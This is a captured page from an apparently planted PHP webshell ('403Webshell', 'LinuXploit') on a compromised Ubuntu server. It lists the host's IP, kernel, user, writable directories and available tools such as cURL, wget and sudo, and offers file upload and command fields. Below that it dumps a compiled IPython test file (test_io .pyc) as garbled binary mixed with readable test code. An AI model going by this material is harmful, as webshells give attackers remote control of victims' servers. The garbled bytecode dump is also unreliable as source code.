403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.170
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/tests/__pycache__/test_io.cpython-312.pyc
�

}�e����dZddlZddlmZddlZddlmZmZd�ZGd�dej�Z
Gd�d	ej�Zy)
zTests for io.py�N)�StringIO)�Tee�capture_outputc��t�}d}t|d��}t||��|j�|dzk(sJ�y)z"Very simple check with stdout only�Hello�stdout��channel��file�
N)rr�print�getvalue)�chan�text�tees   �=/usr/lib/python3/dist-packages/IPython/utils/tests/test_io.py�test_tee_simplers<���:�D��D�

�d�H�
%�C�	�$�T���=�=�?�d�T�k�)�)�)�c��eZdZd�Zd�Zy)�TeeTestCasec�t�t�}t�}d}tt|�}tt||�t	||��}t|d|��|j
�}|j|j
�|�|j�tt||�tt|�|k(sJ�y)Nrr	�)�endr)	r�getattr�sys�setattrrrr�assertEqual�close)�selfr
�traprr�std_orir�trap_vals        r�tchanzTeeTestCase.tchans����z���z�����#�w�'����W�d�#��$��(��
�d���&��=�=�?���������$�/��	�	����W�g�&��s�G�$��/�/�/rc�4�dD]}|j|��y)N)r�stderr)r$)r rs  r�testzTeeTestCase.test.s��(�	�D��J�J�t��	rN)�__name__�
__module__�__qualname__r$r'�rrrrs��0�&rrc��eZdZd�Zy)�TestIOStreamc��t�5}td�tdtj��ddd�|j	j
d�|j	|jd�y#1swY�BxYw)zcapture_output() context worksz
hi, stdoutz
hi, stderrrNzhi, stdout
zhi, stderr
)rrrr&rr)r �ios  r�test_capture_outputz TestIOStream.test_capture_output4sa���
�	1���,���,�S�Z�Z�0�	1�	
������N�3�������N�3�	1�	1�s�'A3�3A<N)r(r)r*r0r+rrr-r-2s��4rr-)�__doc__rr/r�unittest�IPython.utils.iorrr�TestCaserr-r+rr�<module>r5s?������0�*��(�#�#��2
4�8�$�$�
4r

Youez - 2016 - github.com/yon3zu
LinuXploit